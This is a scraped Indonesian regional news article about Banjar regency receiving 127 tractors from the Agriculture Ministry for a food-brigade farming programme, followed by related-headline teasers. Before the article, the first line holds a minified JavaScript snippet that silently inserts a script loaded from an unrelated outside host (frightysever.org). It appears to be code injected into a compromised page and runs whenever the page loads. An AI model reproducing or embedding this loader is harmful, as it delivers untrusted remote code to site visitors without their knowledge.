(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bupati H Saidi Mansyur melakukan tapung tawar ke unit traktor bantuan alat mesin pertanian (Alsintan) dari Kementerian Pertanian, di Desa Tungkaran, Kecamatan Martapura, Rabu (30/4/2025) siang.
Bupati Banjar Saidi Mansyur mengatakan, bantuan Alsintan dari pemerintah pusat tersebut diharapkan bisa dimanfaatkan secara maksimal.
Guna mendukung program pemerintah pusat lanjut Saidi juga diperlukan kerja sama dan kolaborasi yang baik antara pemerintah, masyarakat serta forkopimda, karena ketahanan pangan menjadi tanggung jawab bersama.
Baca juga: Kasus Mama Khas Banjar, Kementerian UMKM Siap Turun Tangan
“Kita berharap pertanian di Kabupaten Banjar akan lebih maju, ketahanan pangan akan lebih meningkat dan bisa swasembada pangan,” ujar dia.
Kepala Dinas Pertanian Warsita mengungkapkan, bantuan Alsintan dari Kementan tersebut guna mendukung kegiatan optimalisasi lahan (oplah) yang akan dikelola oleh 40 brigade pangan yang tersebar di 8 kecamatan di Kabupaten Banjar.
Sarana prasarana Alsintan yang diterima oleh pihaknya tersebut berupa traktor roda 4 sebanyak 127 unit.
Baca juga: ULM Kembali ke Akreditasi Unggul, Kasus Gelar Guru Besar Prioritas Perbaikan
Sementara bantuan peralatan lainnya seperti drone, saprodi, pupuk, bibit dan combine akan menyusul.
“Kita ditarget dari Kementan sekitar 7.600 hektare lahan yang akan dikelola brigade pangan, dimana setiap brigade pangan mengelola per 200 hektare,” ungkap dia.
Dia menjelaskan, brigade pangan akan mengelola lahan rawa atau lahan kosong selama 5 tahun dan dalam setahunnya dapat melakukan 2 kali tanam dan akan bagi hasil dengan pemilik lahan.
Baca juga: Expo Kapuas Bersinar 2025 Digelar Sepekan, UMKM Ikut Ramaikan
“Rencananya mulai tanam pada September ini, diharapkan bisa panen 2 kali dalam setahun,” katanya.
Sebelumnya, lanjut Warsita, kegiatan Oplah dimulai dari persiapan seperti kontruksi, normalisasi saluran dan pintu air yang dikerjasamakan dengan TNI.
Delapan kecamatan yang akan digarap brigade pangan, yakni Beruntung Baru, Tatah Makmur, Gambut, Aluhaluh, Simpang Empat, Martapura Timur, Martapura Barat dan Sungaitabuk.
“Kita optimistis dalam 1 hektare lahan dapat hasil 4 ton. Doakan saja semoga program ini berhasil,” tutup Warsita. (Kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More
KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More
This website uses cookies.